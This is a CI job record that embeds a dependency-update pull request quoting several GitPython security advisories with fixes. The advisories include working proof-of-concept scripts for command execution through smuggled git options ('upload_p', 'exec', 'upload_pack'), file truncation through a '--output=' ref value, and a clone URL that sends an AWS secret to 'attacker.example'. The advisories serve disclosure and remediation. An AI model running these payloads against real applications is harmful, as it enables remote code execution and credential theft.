        incomplete guard) |\n| `git/cmd.py:1511` `transform_kwarg` | emits `--<dashify(name)>=<value>`
        to the CLI |\n| `git/repo/base.py:1411,1413` | clone call sites |\n| `git/remote.py:1074,1128,1201`
        | fetch / pull / push call sites |\n\n##### Bypass keys (verified)\n\n| kwarg
        key | git resolves to | path | weaponizable |\n|---|---|---|---|\n| `upload_p`,
        `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes \u2014 direct
        RCE |\n| `receive_p` | `--receive-pack` | push | Yes \u2014 direct RCE |\n|
        `exe` | `--exec` | push | Yes \u2014 direct RCE |\n| `conf`, `confi` | `--config`
        | clone | bypasses option blocklist; RCE needs an additional config vector
        (see note) |\n\n##### Minimal PoC\n\nSelf-contained, no network egress (a
        local bare repo acts as the \"remote\"). Tested on current `main` (git 2.50.1):\n\n```python\nimport
        os, stat, tempfile\nfrom git import Repo\n\nwork = tempfile.mkdtemp()\nmarker
        = os.path.join(work, \"RCE_MARKER\")\n\n##### fake \"upload-pack\" program
        that proves arbitrary command execution\nprog = os.path.join(work, \"evil.sh\")\nwith
        open(prog, \"w\") as f:\n    f.write(f\"#!/bin/sh\\ntouch {marker}\\nexit
        1\\n\")  # exit 1 so git aborts after our code ran\nos.chmod(prog, os.stat(prog).st_mode
        | stat.S_IEXEC)\n\nbare = os.path.join(work, \"remote.git\")\nRepo.init(bare,
        bare=True)\n\n##### attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog>
        -> git runs <prog>\ntry:\n    Repo.clone_from(bare, os.path.join(work, \"out\"),
        upload_p=prog)\nexcept Exception:\n    pass  # git aborts with GitCommandError
        AFTER the payload executed\n\nprint(\"RCE marker created:\", os.path.exists(marker))
        \ # True -> command injection confirmed\n```\n\nEquivalent at the shell: `git
        clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`.\n\nConfirmed behavior:\n-
        `upload_pack` (exact) \u2192 blocked; `upload_p` (abbrev) \u2192 passes guard,
        reaches git, executes. The fix works for the form it models but not the abbreviated
        form.\n- `allow_unsafe_options=True` opt-out behaves as documented (out of
        scope).\n\n##### Honest scope note\n\nLike the parent CVE, exploitation requires
        a host application that flows attacker-controlled kwarg **keys** into a GitPython
        clone/fetch/pull/push. Where the host passes only fixed/validated keys, this
        is not reachable \u2014 the vulnerability is in the library's documented defense-in-depth
        control (`allow_unsafe_options=False`), which this variant defeats.\n\nOn
        the `--config` family: `conf` bypasses the option blocklist, but weaponizing
        `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked
        by GitPython's protocol allowlist (`allow_unsafe_protocols=False`). The directly
        weaponizable family is `upload-pack` / `receive-pack` / `exec`. Reported transparently
        \u2014 not claiming Critical.\n\n##### Suggested remediation (any one)\n\n1.
        **Prefix-aware matching:** reject any option whose canonical name is an unambiguous
        prefix of a blocked option (\u2248 `startswith` on the blocked canonical name,
        after `dashify`).\n2. **Disable abbreviation at the sink:** pass `--end-of-options`
        or invoke git in a way that disables long-option abbreviation.\n3. **Allowlist**
        option names on security-sensitive subcommands instead of a blocklist.\n\nRemediation
        should also cover the `-c`/`--config` family abbreviations, even though the
        `ext::` route is currently gated by the protocol allowlist.\n\n#### Severity\n-
        CVSS Score: 8.8 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
        References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx)\n-
        [https://github.com/gitpython-developers/GitPython/pull/2161](https://redirect.github.com/gitpython-developers/GitPython/pull/2161)\n-
        [https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285](https://redirect.github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285)\n-
        [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.51)\n-
        [https://github.com/advisories/GHSA-2f96-g7mh-g2hx](https://redirect.github.com/advisories/GHSA-2f96-g7mh-g2hx)\n\nThis
        data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-2f96-g7mh-g2hx)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        GitPython: command injection via unguarded Git options in `Repo.archive()`,
        `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()`
        / `Repo.blame()`\n[GHSA-956x-8gvw-wg5v](https://redirect.github.com/advisories/GHSA-956x-8gvw-wg5v)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Summary\n\nGitPython spawns the
        real `git` binary with an argument vector built from caller-supplied values.
        To prevent argument injection, GitPython maintains denylists of \"unsafe\"
        Git options (`--upload-pack`, `--receive-pack`, `--exec`, `-c`, `--config`,
        \u2026) that can be abused to run arbitrary commands, and enforces them with
        `Git.check_unsafe_options()`.\n\nThat enforcement is only wired into the **network**
        commands \u2014 `clone_from`, `Remote.fetch`, `Remote.pull`, `Remote.push`.
        Several other public APIs that also forward caller-controlled values into
        the `git` argv have **no guard at all**:\n\n1. **`Repo.archive(ostream, treeish=None,
        prefix=None, **kwargs)`** forwards `**kwargs` verbatim into `git archive`.
        An attacker-influenced options mapping such as `{\"remote\": \".\", \"exec\":
        \"<cmd>\"}` becomes `git archive --remote=. --exec=<cmd> -- <treeish>`, and
        `git archive --remote=<local repo>` invokes `git-upload-archive` whose path
        is overridden by `--exec` \u2192 **arbitrary command execution under default
        Git configuration** (no `protocol.ext.allow` needed).\n\n2. **`repo.git.ls_remote(<url>,
        upload_pack=\"<cmd>\")`** (and the dynamic-command builder generally) turns
        the `upload_pack` kwarg into `--upload-pack=<cmd>` with no guard \u2192 **arbitrary
        command execution**.\n\n3. **`Repo.iter_commits(rev)`** and **`Repo.blame(rev,
        file)`** place the caller's `rev` value into the argv *before* the `--` end-of-options
        separator and apply no leading-dash check. A benign-looking ref value such
        as `--output=/path/to/file` is parsed by `git rev-list` / `git blame` as the
        `--output` option, which **opens and truncates an arbitrary file** before
        Git even validates the revision \u2192 arbitrary file clobber (integrity/availability;
        can destroy keys, configs, lockfiles, or be aimed at files the host later
        sources).\n\nThe first two are direct code execution; the third is an arbitrary
        file-overwrite primitive. All share one root cause: the `check_unsafe_options`
        / end-of-options discipline that GitPython applies to clone/fetch/pull/push
        was never extended to these sinks.\n\n##### Details\n\nGitPython explicitly
        recognises these options as command-execution vectors. `git/remote.py:535`:\n\n```python\nunsafe_git_fetch_options
        = [\n    # Arbitrary command execution.\n    \"--upload-pack\",\n    \"--receive-pack\",\n
        \   # Arbitrary file overwrite.\n    \"--exec\",\n]\n```\n\nand enforces them
        via `Git.check_unsafe_options()` (`git/cmd.py:963`):\n\n```python\ndef check_unsafe_options(cls,
        options, unsafe_options):\n    ...\n    if unsafe_option is not None:\n        raise
        UnsafeOptionError(f\"{unsafe_option} is not allowed, use `allow_unsafe_options=True`
        to allow it.\")\n```\n\nBut `check_unsafe_options` is invoked from **only
        five sites**, all network commands:\n\n```\ngit/remote.py:1071   Remote.fetch\ngit/remote.py:1125
        \  Remote.pull\ngit/remote.py:1198   Remote.push\ngit/repo/base.py:1410 /
        :1412  Repo.clone_from\n```\n\nThe following sinks call `git` with caller-controlled
        options/positionals and are **not** guarded:\n\n##### 1. `Repo.archive` \u2014
        command execution (`git/repo/base.py:1623`)\n\n```python\ndef archive(self,
        ostream, treeish=None, prefix=None, **kwargs):\n    ...\n    self.git.archive(\"--\",
        treeish, *path, **kwargs)\n    return self\n```\n\n`treeish` and `path` are
        correctly placed after `--`, but `**kwargs` are converted by `Git.transform_kwarg`
        (`git/cmd.py:1487`) into `--<name>=<value>` flags and inserted **before**
        the `--` by `_call_process`, with no `check_unsafe_options`. `Repo.archive`
        already documents user-facing kwargs (`format`, `prefix`, `path`), so forwarding
        a caller options mapping is an expected usage. Final argv:\n\n```\ngit archive
        --remote=. --exec=<cmd> -- <treeish>\n```\n\n`git archive --remote=<repo>`
        runs the upload-archive helper; `--exec=<cmd>` overrides the helper path,
        executing `<cmd>` on the host. This works with **default Git config** \u2014
        it does not rely on the `ext::` transport (which is blocked by default).\n\n#####
        2. `repo.git.ls_remote(..., upload_pack=...)` \u2014 command execution (dynamic
        builder, `git/cmd.py:1487`)\n\n`transform_kwarg` dashifies `upload_pack` \u2192
        `--upload-pack=<value>`. `git ls-remote <local-repo> --upload-pack=<cmd>`
        executes `<cmd>`. The dynamic builder makes **both** the flag name and value
        caller-controlled (`repo.git.<anything>(**user_dict)`), and `ls_remote` has
        no `check_unsafe_options`.\n\nThis is exactly the underscore-kwarg-vs-hyphen-kwarg
        gap that CVE-2026-42215 fixed for `fetch`/`pull`/`push`/`clone_from` \u2014
        but `ls_remote` and the rest of the dynamic surface were left unpatched.\n\n#####
        3. `Repo.iter_commits` / `Repo.blame` \u2014 arbitrary file overwrite (`git/objects/commit.py:348`,
        `git/repo/base.py:1199`)\n\n```python\n\n##### Commit.iter_items (reached
        via Repo.iter_commits)\nproc = repo.git.rev_list(rev, args_list, as_process=True,
        **kwargs)   # args_list == [\"--\", *paths]\n```\n\n```python\n\n##### Repo.blame\ndata
        = self.git.blame(rev, *rev_opts, \"--\", file, p=True, stdout_as_string=False,
        **kwargs)\n```\n\n`rev` is placed **before** `--`, with no leading-dash check
        anywhere in the path. A caller passing `rev=\"--output=/path\"` (a value that
        looks like an ordinary ref/branch/tag string an app forwards from user input)
        produces:\n\n```\ngit rev-list --output=/path --\n```\n\n`git rev-list`/`log`/`blame`
        honour `--output=<file>`, which `open()`s and truncates the file *before*
        validating the revision \u2014 so the file is destroyed even though Git then
        errors out on the bad revision.\n\n##### PoC\n\nAll three PoCs are self-contained,
        run against the released **GitPython 3.1.50** under **default Git configuration**,
        and were executed live (git 2.51.0). Each prints a host-side marker proving
        the effect.\n\n##### Install\n\n```bash\npython3 -m venv venv && . venv/bin/activate\npip
        install GitPython           # resolves to 3.1.50\npython -c \"import git;
        print(git.__version__)\"   # 3.1.50\n```\n\n##### PoC 1 \u2014 command execution
        via `Repo.archive`\n\n```python\n\n##### archive_rce.py\nimport io, os, tempfile,
        subprocess, git\n\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d],
        check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',\n
        \               'commit','-q','--allow-empty','-m','init'], check=True)\nrepo
        = git.Repo(d)\n\nmarker = os.path.join(tempfile.gettempdir(), 'gp_rce_marker')\nif
        os.path.exists(marker): os.remove(marker)\n\n##### a service lets a user export
        a repo and forwards their options dict\nopts = {'remote': '.', 'exec': 'touch
        ' + marker}\ntry:\n    repo.archive(io.BytesIO(), **opts)\nexcept git.exc.GitCommandError
        as e:\n    print('[*] git exited non-zero (expected), but the exec already
        ran:', str(e).splitlines()[0][:60])\n\nprint('[+] marker present:', os.path.exists(marker))\n```\n\nVerbatim
        output:\n\n```\n[*] git exited non-zero (expected), but the exec already ran:
        Cmd('git') failed due to: exit code(128)\n[+] marker present: True\n```\n\n`git
        config --get protocol.ext.allow` returns nothing (unset = default), confirming
        no special config is required.\n\n##### PoC 2 \u2014 command execution via
        `git.ls_remote(upload_pack=...)`\n\n```python\n\n##### lsremote_rce.py\nimport
        os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d],
        check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'],
        check=True)\nrepo = git.Repo(d)\nmarker = os.path.join(tempfile.gettempdir(),'gp_lsr_marker')\nif
        os.path.exists(marker): os.remove(marker)\ntry:\n    repo.git.ls_remote('.',
        upload_pack='touch '+marker+';')\nexcept git.exc.GitCommandError as e:\n    print('[*]
        git err:', str(e).splitlines()[0][:50])\nprint('[+] ls-remote marker present:',
        os.path.exists(marker))\n```\n\nVerbatim output:\n\n```\n[*] git err: Cmd('git')
        failed due to: exit code(128)\n[+] ls-remote marker present: True\n```\n\n#####
        PoC 3 \u2014 arbitrary file overwrite via a benign-looking `rev`\n\n```python\n\n#####
        itercommits_filewrite.py\nimport os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d],
        check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'],
        check=True)\nrepo = git.Repo(d)\nvictim = os.path.join(tempfile.gettempdir(),'gp_fw_victim')\nopen(victim,'w').write('do
        not delete\\n')\nprint('[*] before:', repr(open(victim).read()))\nuser_ref
        = '--output=' + victim          # value an app forwards as a \"ref/branch\"\ntry:\n
        \   list(repo.iter_commits(user_ref))\nexcept git.exc.GitCommandError as e:\n
        \   print('[*] git err (after open+truncate):', str(e).splitlines()[0][:50])\nprint('[+]
        after :', repr(open(victim).read()), '<- truncated')\n```\n\nVerbatim output:\n\n```\n[*]
        before: 'do not delete\\n'\n[*] git err (after open+truncate): Cmd('git')
        failed due to: exit code(129)\n[+] after : '' <- truncated\n```\n\n#### Severity\n-
        CVSS Score: 8.4 / 10 (High)\n- Vector String: `CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`\n\n####
        References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v)\n-
        [https://github.com/gitpython-developers/GitPython/pull/2163](https://redirect.github.com/gitpython-developers/GitPython/pull/2163)\n-
        [https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738](https://redirect.github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738)\n-
        [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.51)\n-
        [https://github.com/advisories/GHSA-956x-8gvw-wg5v](https://redirect.github.com/advisories/GHSA-956x-8gvw-wg5v)\n\nThis
        data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-956x-8gvw-wg5v)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from()
        URL\n[GHSA-rwj8-pgh3-r573](https://redirect.github.com/advisories/GHSA-rwj8-pgh3-r573)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Summary\n`Repo.clone_from()`
        passes the caller-supplied remote URL through `Git.polish_url()`, which on
        every non-Cygwin platform calls `os.path.expandvars()` on the URL before handing
        it to `git clone`. An attacker who controls the URL argument \u2014 the documented
        use case for `clone_from()` in \"import repository from URL\" features of
        CI servers, git-hosting mirrors, and dependency scanners \u2014 can embed
        `$NAME` / `${NAME}` tokens that are expanded server-side to the values of
        the hosting process's environment variables. The resulting URL, now containing
        the secret, is transmitted over the network to the attacker-named host. This
        crosses the trust boundary between an untrusted remote URL and the server's
        process environment, disclosing secrets such as `AWS_SECRET_ACCESS_KEY` or
        `GITHUB_TOKEN` with no precondition beyond the ability to submit a clone URL.\n\n#####
        Details\n**Affected versions:** `gitpython` (PyPI) \u2014 all releases up
        to and including `3.1.50` (latest at time of reporting); confirmed present
        on the `main` branch.\n\n`Git.polish_url()` unconditionally applies environment-variable
        expansion to its input on the non-Cygwin branch:\n\n`git/cmd.py` (v3.1.50),
        lines 907\u2013925:\n```python\n@classmethod\ndef polish_url(cls, url: str,
        is_cygwin: Union[None, bool] = None) -> PathLike:\n    \"\"\"Remove any backslashes
        from URLs to be written in config files.\n    ...\n    \"\"\"\n    if is_cygwin
        is None:\n        is_cygwin = cls.is_cygwin()\n\n    if is_cygwin:\n        url
        = cygpath(url)\n    else:\n        url = os.path.expandvars(url)          #
        <-- line 921\n        if url.startswith(\"~\"):\n            url = os.path.expanduser(url)\n
        \       url = url.replace(\"\\\\\\\\\", \"\\\\\").replace(\"\\\\\", \"/\")\n
        \   return url\n```\n\n`Repo._clone()` \u2014 reached from the public `Repo.clone_from()`
        (`git/repo/base.py:1520`) and `Repo.clone()` \u2014 runs the unsafe-protocol
        check on the **raw** URL and then passes the **polished** (post-expansion)
        URL to the `git clone` subprocess:\n\n`git/repo/base.py` (v3.1.50), lines
        1407\u20131418:\n```python\nif not allow_unsafe_protocols:\n    Git.check_unsafe_protocols(url)\nif
        not allow_unsafe_options:\n    Git.check_unsafe_options(options=list(kwargs.keys()),
        unsafe_options=cls.unsafe_git_clone_options)\nif not allow_unsafe_options
        and multi:\n    Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options)\n\nproc
        = git.clone(\n    multi,\n    \"--\",\n    Git.polish_url(url),          #
        <-- line 1417: expanded URL sent to `git clone`\n    clone_path,\n    ...\n)\n```\n\nBecause
        `os.path.expandvars()` on POSIX substitutes `$NAME` and `${NAME}` with `os.environ[NAME]`
        when set (and on Windows additionally `%NAME%`), an attacker-supplied URL
        such as:\n\n```\nhttps://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git\n```\n\nis
        rewritten server-side to embed the literal secret value in the path component,
        and `git clone` then issues an HTTP(S) request (and DNS lookup, if the token
        is placed in the host label) carrying that value to `attacker.example`. The
        clone itself will typically fail, but the secret has already left the server
        by that point.\n\n`polish_url()` was written as a local-path normalisation
        helper (Cygwin path conversion, `~` expansion, backslash fixing) and is applied
        indiscriminately to remote URLs. There is no scheme check, no `expand_vars=False`
        opt-out for the clone URL, and no documentation that the URL undergoes environment
        expansion \u2014 the `clone_from` docstring describes `url` only as a \"Valid
        git url\". By contrast, the maintainers already flag env-var expansion as
        a security concern for the *local repository path* argument: `Repo.__init__`
        emits a deprecation warning (\"The use of environment variables in paths is
        deprecated for security reasons\", `git/repo/base.py:226\u2013231`) and offers
        `expand_vars=False`. The same treatment is missing for the network-bound clone
        URL.\n\n**Secondary consequence (unsafe-protocol filter bypass).** Because
        `check_unsafe_protocols()` runs on the *pre-expansion* URL (line 1408) but
        the *post-expansion* URL is what reaches `git`, an attacker who additionally
        controls any environment variable in the server process could set e.g. `X=ext::sh
        -c '...'` and submit `url=\"$X\"`; the raw string `$X` passes the `ext::`
        filter, then expands to an `ext::` remote-helper transport that `git` will
        execute. This requires a second precondition (env-var write) and is noted
        as an aggravating factor rather than a separate vulnerability.\n\n##### PoC\nTested
        against `gitpython==3.1.50` on Linux with Python 3 and `git` on `PATH`.\n\n```bash\npython3
        -m venv /tmp/gp-venv\n/tmp/gp-venv/bin/pip install gitpython==3.1.50\n/tmp/gp-venv/bin/python
        poc.py\n```\n\n`poc.py`:\n```python\n\n#!/usr/bin/env python3\n\"\"\"\nPoC:
        environment-variable exfiltration via Repo.clone_from() URL.\n\nDemonstrates
        that an attacker-controlled `url` argument to Repo.clone_from()\nis passed
        through os.path.expandvars() before being given to `git clone`,\nso `$NAME`
        tokens in the URL are replaced with the server process's\nenvironment-variable
        values and transmitted to the attacker-named host.\n\nThe PoC intercepts the
        Popen argv to show the exact URL handed to `git`\nwithout performing real
        network I/O.\n\"\"\"\nimport os\nimport sys\nimport subprocess\nimport tempfile\n\n#####
        Simulate a sensitive server-side environment variable.\nos.environ[\"AWS_SECRET_ACCESS_KEY\"]
        = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n\nimport git                              #
        noqa: E402\nfrom git import Git, Repo               # noqa: E402\n\nprint(f\"gitpython
        version: {git.__version__}\")\n\n##### --- Layer 1: Git.polish_url() directly
        --------------------------------------\nattacker_url = \"https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\"\npolished
        = Git.polish_url(attacker_url)\nprint(\"\\n[Layer 1] polish_url result:\")\nprint(f\"
        \ input : {attacker_url}\")\nprint(f\"  output: {polished}\")\nif os.environ[\"AWS_SECRET_ACCESS_KEY\"]
        in polished:\n    print(\"  -> secret SUBSTITUTED into URL by polish_url()\")\n\n#####
        --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ----------\ncaptured
        = {}\norig_popen = subprocess.Popen\n\nclass CapturingPopen(orig_popen):\n
        \   def __init__(self, cmd, *a, **kw):\n        if isinstance(cmd, (list,
        tuple)) and \"clone\" in cmd:\n            captured[\"cmd\"] = list(cmd)\n
        \       super().__init__(cmd, *a, **kw)\n\nsubprocess.Popen = CapturingPopen\nimport
        git.cmd as gitcmd                # noqa: E402\ngitcmd.safer_popen = CapturingPopen
        \    # non-Windows: safer_popen == Popen\n\ndest = tempfile.mkdtemp(prefix=\"gp_poc_\")\ntry:\n
        \   Repo.clone_from(attacker_url, os.path.join(dest, \"out\"))\nexcept Exception
        as e:\n    # The clone fails (attacker.example does not resolve); we only
        need argv.\n    print(f\"\\n[Layer 2] clone_from raised (expected): {type(e).__name__}\")\n\nsubprocess.Popen
        = orig_popen\n\nprint(\"\\n[Layer 2] argv passed to `git clone` subprocess:\")\nfor
        tok in captured.get(\"cmd\", []):\n    print(f\"  {tok}\")\n\ncmd = captured.get(\"cmd\",
        [])\nurl_arg = cmd[cmd.index(\"--\") + 1] if \"--\" in cmd else None\nprint(f\"\\n[Layer
        2] URL argument given to git: {url_arg}\")\n\nsecret = os.environ[\"AWS_SECRET_ACCESS_KEY\"]\nif
        url_arg and secret in url_arg:\n    print(\n        \"\\nVULNERABLE: server
        env var AWS_SECRET_ACCESS_KEY was interpolated \"\n        \"into the remote
        clone URL; git would transmit it to attacker.example.\"\n    )\n    sys.exit(0)\nprint(\"\\nNOT
        VULNERABLE\")\nsys.exit(1)\n```\n\nExpected output:\n```\ngitpython version:
        3.1.50\n\n[Layer 1] polish_url result:\n  input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\n
        \ output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n
        \ -> secret SUBSTITUTED into URL by polish_url()\n\n[Layer 2] clone_from raised
        (expected): GitCommandError\n\n[Layer 2] argv passed to `git clone` subprocess:\n
        \ git\n  clone\n  -v\n  --\n  https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n
        \ /tmp/gp_poc_XXXXXXXX/out\n\n[Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n\nVULNERABLE:
        server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone
        URL; git would transmit it to attacker.example.\n```\n\nThe captured argv
        is the exact command line spawned by GitPython; against a real attacker-controlled
        host, `git` would issue a DNS lookup and HTTP(S) request to that host with
        the secret embedded in the request path.\n\n##### Impact\nAny application
        that calls `Repo.clone_from()` (or `Repo.clone()`) with a URL that is wholly
        or partially attacker-controlled \u2014 the canonical pattern for \"import/mirror
        repository from URL\" features in CI systems, source-code hosting platforms,
        dependency scanners, and build pipelines \u2014 allows an unauthenticated
        or low-privileged attacker to exfiltrate arbitrary environment variables from
        the server process, one per request, by naming them in the URL. Cloud credentials,
        API tokens, and signing keys stored in the environment are the primary targets.
        Applications that do not accept clone URLs from untrusted sources, or that
        run the cloner in a process with a fully stripped environment, are not affected.
        There is no direct integrity or availability impact.\n\n**Suggested fix:**
        Remove the `os.path.expandvars()` (and `os.path.expanduser()`) call from `Git.polish_url()`
        for inputs that are remote URLs (contain `://` or match `user@host:path`),
        or remove the expansion entirely and require callers who want local-path env
        expansion to perform it themselves \u2014 mirroring the existing deprecation
        on `Repo(path, expand_vars=\u2026)`. Additionally, apply `check_unsafe_protocols()`
        to the *post-transformation* URL so no future `polish_url` change can silently
        bypass the `ext::` filter.\n\n#### Severity\n- CVSS Score: 7.5 / 10 (High)\n-
        Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n\n#### References\n-
        [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573)\n-
        [https://github.com/gitpython-developers/GitPython/pull/2172](https://redirect.github.com/gitpython-developers/GitPython/pull/2172)\n-
        [https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2](https://redirect.github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2)\n-
        [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.52)\n-
        [https://github.com/advisories/GHSA-rwj8-pgh3-r573](https://redirect.github.com/advisories/GHSA-rwj8-pgh3-r573)\n\nThis
        data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-rwj8-pgh3-r573)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        GitPython: git-config section-name injection enables arbitrary config directives
        (core.sshCommand RCE)\n[GHSA-3rp5-jjmw-4wv2](https://redirect.github.com/advisories/GHSA-3rp5-jjmw-4wv2)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### Summary\n\nIn GitPython `<= 3.1.52`,
        the config writer neutralizes only CR, LF, and NUL in configuration **names**,
        but writes section names into the `[...]` header with no other escaping. A
        section/subsection name that contains `] [ \"` closes the intended header
        and opens a second same-line section, injecting an arbitrary config directive
        \u2014 with no newline required. Because a submodule **name** is attacker-controlled
        data (it comes from a repository's `.gitmodules`, or from an application that
        lets a user name a submodule) and is written verbatim into the parent repository's
        trusted `.git/config`, an attacker can set `core.sshCommand` (or `alias.*`,
        `core.pager`, `core.fsmonitor`) and achieve remote code execution on the victim's
        next git operation. Likely **CWE-74 (Inject\n\n> \u2702 **Note**\n> \n> PR
        body was truncated to here.\n"
      change_url: https://github.com/osism/pulpfiction/pull/10
      child_jobs: []
      commit_id: c8954fa4dba3805bcb75345d9aae2b0ccca2c87c
      event_id: bac2e010-91f3-11f1-80b1-c845b3e84b1f
      executor:
        hostname: 521e9411259a
        inventory_file: /var/lib/zuul/builds/1ebe95edb63748ba9064eaeade5964f7/ansible/inventory.yaml
        log_root: /var/lib/zuul/builds/1ebe95edb63748ba9064eaeade5964f7/work/logs
        result_data_file: /var/lib/zuul/builds/1ebe95edb63748ba9064eaeade5964f7/work/results.json
        src_root: /var/lib/zuul/builds/1ebe95edb63748ba9064eaeade5964f7/work/src
        work_root: /var/lib/zuul/builds/1ebe95edb63748ba9064eaeade5964f7/work
      include_vars: []
      items:
      - branch: main
        change: '10'
        change_message: "Update dependency GitPython to v3.1.57 [SECURITY]\n\n> \u2139\uFE0F
          **Note**\n> \n> This PR body was truncated due to platform limits.\n\nThis
          PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
          | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
          [GitPython](https://redirect.github.com/gitpython-developers/GitPython)
          | `==3.1.44` \u2192 `==3.1.57` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/gitpython/3.1.57?slim=true)
          | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/gitpython/3.1.44/3.1.57?slim=true)
          |\n\n---\n\n### GitPython has Command Injection via Git options bypass\n[CVE-2026-42215](https://nvd.nist.gov/vuln/detail/CVE-2026-42215)
          / [GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nGitPython blocks dangerous
          Git options such as `--upload-pack` and `--receive-pack` by default, but
          the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that
          check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`,
          `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary
          command execution even when `allow_unsafe_options` is left at its default
          value of `False`.\n\n##### Details\nGitPython explicitly treats helper-command
          options as unsafe because they can be used to execute arbitrary commands:\n\n-
          `git/repo/base.py:145-153` marks clone options such as `--upload-pack`,
          `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push
          options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe
          vulnerable API paths check the raw kwarg names before they're its normalized
          into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())`
          in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())`
          in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())`
          in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())`
          in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()`
          in `git/cmd.py:948-961`. The validator correctly blocks option names such
          as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts
          Python kwargs into Git command-line flags in `Git.transform_kwarg()` at
          `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n-
          `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes
          `--receive-pack=...`\n\nBecause the unsafe-option check runs before this
          normalization, underscore-form kwargs bypass the safety check even though
          they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn
          practice:\n\n- `remote.fetch(**{\"upload-pack\": helper})` is blocked with
          `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and
          reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin,
